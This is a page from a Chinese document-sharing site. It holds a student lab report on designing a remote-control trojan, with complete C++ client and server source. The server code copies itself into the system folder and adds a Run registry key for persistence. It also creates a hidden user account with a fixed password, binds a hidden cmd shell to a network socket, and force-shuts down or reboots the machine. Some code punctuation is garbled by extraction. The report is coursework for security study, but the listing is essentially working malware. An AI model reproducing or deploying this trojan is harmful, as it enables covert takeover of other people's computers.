欢迎来到冰点文库! | 帮助中心 分享价值,成长自我!
冰点文库
全部分类
  • 临时分类>
  • IT计算机>
  • 经管营销>
  • 医药卫生>
  • 自然科学>
  • 农林牧渔>
  • 人文社科>
  • 工程科技>
  • PPT模板>
  • 求职职场>
  • 解决方案>
  • 总结汇报>
  • ImageVerifierCode 换一换
    首页 冰点文库 > 资源分类 > DOCX文档下载
    分享到微信 分享到微博 分享到QQ空间

    远程控制与木马程序设计.docx

    • 资源ID:6065386       资源大小:187.85KB        全文页数:19页
    • 资源格式: DOCX        下载积分:3金币
    快捷下载 游客一键下载
    账号登录下载
    微信登录下载
    三方登录下载: 微信开放平台登录 QQ登录
    二维码
    微信扫一扫登录
    下载资源需要3金币
    邮箱/手机:
    温馨提示:
    快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。
    如填写123,账号就是123,密码也是123。
    支付方式: 支付宝    微信支付   
    验证码:   换一换

    加入VIP,免费下载
     
    账号:
    密码:
    验证码:   换一换
      忘记密码?
        
    友情提示
    2、PDF文件下载后,可能会被浏览器默认打开,此种情况可以点击浏览器菜单,保存网页到桌面,就可以正常下载了。
    3、本站不支持迅雷下载,请使用电脑自带的IE浏览器,或者360浏览器、谷歌浏览器下载即可。
    4、本站资源下载后的文档和图纸-无水印,预览文档经过压缩,下载后原文更清晰。
    5、试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。

    远程控制与木马程序设计.docx

    1、远程控制与木马程序设计信息系统安全与对抗技术实验报告实验题目:远程控制与木马程序设计学生姓名: 班级:学号:所在院系: 专业: 指导教师评价意见与成绩评定质量等级优良中差成绩指导教师签字: 年 月 日1实验题目远程控制与木马程序设计。2实验目的(1)掌握远程控制的一般原理与类型,实现利用网络scoket套接字完成计算机远程通信过程,学生深入理解和掌握基于TCP/IP协议的网络通信概念、原理,以及网络客户机、服务器模型的结构概念。(2)熟悉常用的Windows API函数的用法,利用C+或VB语言实现木马程序的设计。3实验条件和环境操作系统:windows xp编译环境:VC6.04实验方法(系

    2、统功能、结构设计,软件流程图等)41软件的功能结构图如下42后门技术后门是一种可以绕过安全性控制而获得对程序或系统访问权的隐蔽程序或方法。利用来建立隐蔽通道,甚至植入隐蔽的恶意程序,达到非法访问或窃取、篡改、伪造、破坏数据等目的。现在后门多指系统被入侵后被安装的具有控制系统权限的程序,通过它黑客可以远程控制系统。43总体流程本章木马实例是通过C/S运行模式并结合进程与匿名管道技术来实现的,主体分为两部分:即客户端和服务端木马程序。其原理为服务端程序在目标计算机中采用自动运行模式,并打开2000端口进行监听,当客户端向服务端主动提出连接请求,服务端木马程序就会自动运行,来应答客户端的请求,从而建

    3、立连接,服务段木马程序根据客户端的指令而执行相应的操作44软件流程图如下5实验结果及结论客户端运行后如下图所示:1、输入“add”命令后,创建用户成功服务器端提示命令成功用命令行查看用户情况用户“yaoxiangwen”已经成功创建2、输入”shutdown”后,电脑自动关闭成功3、输入”reset”后,电脑自动重启4、输入”close”后,光驱关闭5、输入”open”后,光驱自动打开6、输入”shell”后,查看任务管理器如下图Cmd命令行已经被创建7、输入quit后,服务器端成功退出8、重启系统后,服务器端成功自动启动,说明软件开机具有自启动功能。6附录:程序清单及说明程序清单:Clien

    4、t.cpp / 客户端代码Server.cpp / 服务器端代码程序代码及说明:/Client.cpp文件#include /包含标准输入输出库#include /包含windows套接字函数#include using namespace std;#pragma comment(lib,Ws2_32) /将注释wsock32放置到lib文件中,否则需要加载 #define MAXSIZE 2048 /每次可以接收的最大字节 #define SEND_PORT 2000 /与木马程序连接的端口为2000struct sockaddr_in ClientAddr; /对方的地址端口信息SOCKE

    5、T sock; /定义套接字变量,为全局变量DWORD startSock() /建立套接字功能模块 WSADATA WSAData; /将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) /MAKEWORD(2,2)预定义Winsock版本,初始化套接字 printf(sock init fail); return(-1); sock = socket(AF_INET, SOCK_STREAM, 0); /连接对方 return 1;int main(int argc, char *argv) u_int num

    6、byte; char bufMAXSIZE; /传送数据的缓冲区 char ip100; cout请输入要连接的IP地址ip; startSock();/调用建立套接字功能函数 ClientAddr.sin_family = AF_INET; /协议类型是INET ClientAddr.sin_port = htons(SEND_PORT); /连接对方2000端口 ClientAddr.sin_addr.s_addr = inet_addr(ip); /连接对方的IP地址 connect(sock, (struct sockaddr *)&ClientAddr,sizeof(struct s

    7、ockaddr); printf(-远程控制木马程序菜单-rn); printf(add -建立Windows系统的秘密帐号rn); printf(shutdown -关闭Windows计算机rn); printf(reset -重新启动Windows计算机rn); printf(close -关闭光驱rn); printf(open -打开光驱rn); printf(shell -建立cmd进程rn); printf(quit -退出系统rn); printf(BIT-gaoping-rn); while(1) buf0 = 0; scanf(%s,buf);/输入控制指令 int iLen

    8、 = strlen(buf); bufiLen = 0xa; bufiLen+1 = 0;/要求控制指令串最后为回车符,以示结束 numbyte=send(sock, buf, strlen(buf), 0);/发出控制指令 if(numbyte=SOCKET_ERROR) closesocket(sock); break; numbyte=recv(sock, buf, MAXSIZE, 0);/接收服务端发来的提示符 if(numbyte=SOCKET_ERROR) closesocket(sock); break; bufnumbyte = 0; printf(%s,buf); /显示服

    9、务端发来的提示符 if(strcmp(buf, quit) = 0 ) closesocket(sock); return 0; return 0; /Server.cpp文件#include /包含windows套接字函数#include /包含标准输入输出函数#include /光驱控制函数mciSendString()所需的头文件#include /包含C+系统输入输出函数#include /包含字符串处理函数using namespace std;#include /WinExec()函数所需的头文件#pragma comment(lib,Ws2_32)/将注释wsock32放置到li

    10、b文件中,否则需要加载#pragma comment(lib,Winmm.lib)/光驱控制函数mciSendString()所需的库#define RECV_PORT 2000 /木马服务端对外响应的端口#define PATH 200 /程序自启动的最大路径SOCKET sock1,sock2;/sock1为服务端程序自身建立的套接字/sock2为服务端与客户端建立响应后的套接字int g1;char Buff1024,cmd1024;/缓冲区DWORD startSock() /建立套接字功能模块 WSADATA WSAData; /将WSAData的数据类型声明为WSADATA if(

    11、WSAStartup(MAKEWORD(2,2),&WSAData)!=0) /MAKEWORD(2,2)预定义Winsock版本,初始化套接字 printf(sock init fail); return(-1); sock1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); /建立套接字,为TCP/IP、流式格式 struct sockaddr_in serverAddr; /保存套接字地址的结构体 serverAddr.sin_family = AF_INET; /规定使用IPv4协议 serverAddr.sin_p

    12、ort = htons(RECV_PORT); /响应端口 serverAddr.sin_addr.s_addr=ADDR_ANY; /建立IP地址,ADDR_ANY可使用任意IP地址连接 g1=bind(sock1,(sockaddr *)&serverAddr,sizeof(serverAddr); /绑定端口与套接字 g1=listen(sock1,5);/等待监听,最大可接受5个连接请求 int serverAddrSize = sizeof(serverAddr); sock2=accept(sock1,(sockaddr *)&serverAddr,&serverAddrSize)

    13、; /如果客户请求2000端口,接受连接,并返回sock2套接字 return 1;int cmdshell(SOCKET sock) /建立cmd进程功能模块 STARTUPINFO startinfo; /控制进程的主窗口的显示方式 ZeroMemory(&startinfo,sizeof(startinfo); startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; / 决定本结构的每一个成员是否起作用 startinfo.wShowWindow = SW_HIDE;/窗口显示模式,隐藏格式 startinfo.hSt

    14、dInput = startinfo.hStdOutput = startinfo.hStdError = (void *)sock; /标准输入输出管道 char cmdsystem = cmd;/cmd进程 PROCESS_INFORMATION ProcessInformation;/ 指向进程信息结构的指针 int g2; /下面为建立进程过程 g2=CreateProcess(NULL,cmdsystem,NULL,NULL,1,0,NULL,NULL,&startinfo,&ProcessInformation); /建立一个cmd.exe进程与相应的输入输出管道 WaitForS

    15、ingleObject(ProcessInformation.hProcess, INFINITE);/等待子进程退出 TerminateProcess(ProcessInformation.hProcess, 0); /在一个子进程中强制结束其他的进程 CloseHandle(ProcessInformation.hProcess);/关闭子进程句柄 return 1;DWORD startExeFile() /自启动程序功能模块 char ExeFilePATH; /木马程序缓冲区 char TempPathPATH;/系统目录缓冲区 int g3; GetModuleFileName(N

    16、ULL,ExeFile,PATH);/得到当前文件名 GetSystemDirectory(TempPath ,PATH); /得到系统目录 strcat(TempPath,server.exe);/拷贝到系统文件夹名为server.exe g3 = CopyFile(ExeFile, TempPath, FALSE); HKEY key;/关键字句柄 if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, SoftwareMicrosoftWindowsCurrentVersionRun, 0, KEY_ALL_ACCESS, &key ) = ERROR_SUCCESS

    17、) /创建和打开一个关键字 RegSetValueEx(key,server,0,REG_SZ,(BYTE *)TempPath,lstrlen(TempPath); / 在RUN键下建立一个server键,为该木马的路径 RegCloseKey(key); /关闭并保存 return 1;DWORD Open_CDROM()/打开光驱程序功能模块 mciSendString(set cdaudio door open, NULL, 0, NULL); /多媒体控制函数 return 1;DWORD Close_CDROM()/关闭光驱程序功能模块 mciSendString(Set cdau

    18、dio door closed wait, NULL, 1, NULL);/多媒体控制函数return 1;DWORD shutdownwin2k()/关闭Win2K程序功能模块 HANDLE hToken; TOKEN_PRIVILEGES tkp; / Windows2K中需要设置调用进程的权限,当获取该权限后才能关闭计算机的操作 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&t

    19、kp.Privileges0.Luid); tkp.PrivilegeCount = 1; / 设置一个权限 tkp.Privileges0.Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ExitWindowsEx(EWX_SHUTDOWN |EWX_FORCE, 0); return 1;DWORD shutdownwin98()/关闭Win98程序功能模块 ExitWindowsEx(EWX_SHUTDOWN | EWX

    20、_FORCE,0); return 1;DWORD resetwin98()/重新启动Win98程序功能模块 ExitWindowsEx(EWX_REBOOT |EWX_FORCE,0); return 1;DWORD resetwin2k()/重新启动Win2K程序功能模块 HANDLE hToken; TOKEN_PRIVILEGES tkp; / Windows2K系列,需要设置调用进程的权限,获得权限才能进行重新启动计算机的操作 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hT

    21、oken); LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges0.Luid); tkp.PrivilegeCount = 1; / 设置一个权限 tkp.Privileges0.Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0); return 1;DWORD adduser()/建

    22、立秘密帐号程序功能模块 WinExec(net user yaoxiangwen 0123456789 /add,SW_HIDE); /建立秘密帐号:yaoxiangwen为用户帐号,0123456789为密码 return 1;/下面为主函数,通过调用各个功能模块来实现木马功能int main() startExeFile();/ startSock() ; unsigned long ByteRead = 0; while(1) send(sock2,远程控制系统,请输入你的选择!nrcmd,sizeof(欢迎进入木马远程控制系统,请输入你的选择!nrcmd),0); ZeroMemory

    23、(cmd,1024); /初始化cmd缓冲区,用来装客户端发来的指令 ByteRead = 0; /接收客户端发来的指令字节数 while(ByteRead,sizeof(OKnrcmd),0); else if(strcmp(cmd,close) = 0) Close_CDROM(); /调用关闭光驱模块程序 send(sock2,OKnrcmd,sizeof(OKnrcmd),0); else if(strcmp(cmd,shell)=0) cmdshell(sock2); /调用CMD进程模块程序 send(sock2,Create the cmd Shell OKnrcmd,sizeo

    24、f(Create the cmd Shell OKnrcmd),0); else if(strcmp(cmd,shutdown98)=0) shutdownwin98();/调用关闭Win98系统计算机模块程序 send(sock2,shutdown the windows98 OKnrcmd,sizeof(shutdown the windows98 OKnrcmd),0); else if(strcmp(cmd,shutdown)=0) shutdownwin2k();/调用关闭Win2K系统计算机模块程序 send(sock2,shutdown the windows2k OKnrcmd

    25、,sizeof(shutdown the windows2k OKnrcmd),0); else if(strcmp(cmd,reset98)=0) resetwin98(); /调用启动Win98系统计算机模块程序 send(sock2,reset the windows98 OKnrcmd,sizeof(reset the windows98 OKnrcmd),0); else if(strcmp(cmd,reset)=0) resetwin2k(); /调用启动Win2K系统计算机模块程序 send(sock2,reset the windows2k OKnrcmd,sizeof(res

    26、et the windows2k OKnrcmd),0); else if(strcmp(cmd,add)=0) adduser(); /调用建立秘密帐号模块程序 send(sock2,net user yaoxiangwen 0123456789 /add OKnrcmd,sizeof(net user xxdk gao/add OKnrcmd),0); else if(strcmp(cmd,quit)=0) /退出木马,并关闭套接字 closesocket(sock2); exit(0); else send(sock2,Bad command,Please input the word try againnrcmd,sizeof(Bad command,Please input the word try againnrcmd),0); /显示输入有误,重新输入 Sleep(10); /延时 return 1;


    注意事项

    本文(远程控制与木马程序设计.docx)为本站会员主动上传,冰点文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰点文库(点击联系客服),我们立即给予删除!

    温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载不扣分。




    关于我们 - 网站声明 - 网站地图 - 资源地图 - 友情链接 - 网站客服 - 联系我们

    copyright@ 2008-2023 冰点文库 网站版权所有

    经营许可证编号:鄂ICP备19020893号-2


    收起
    展开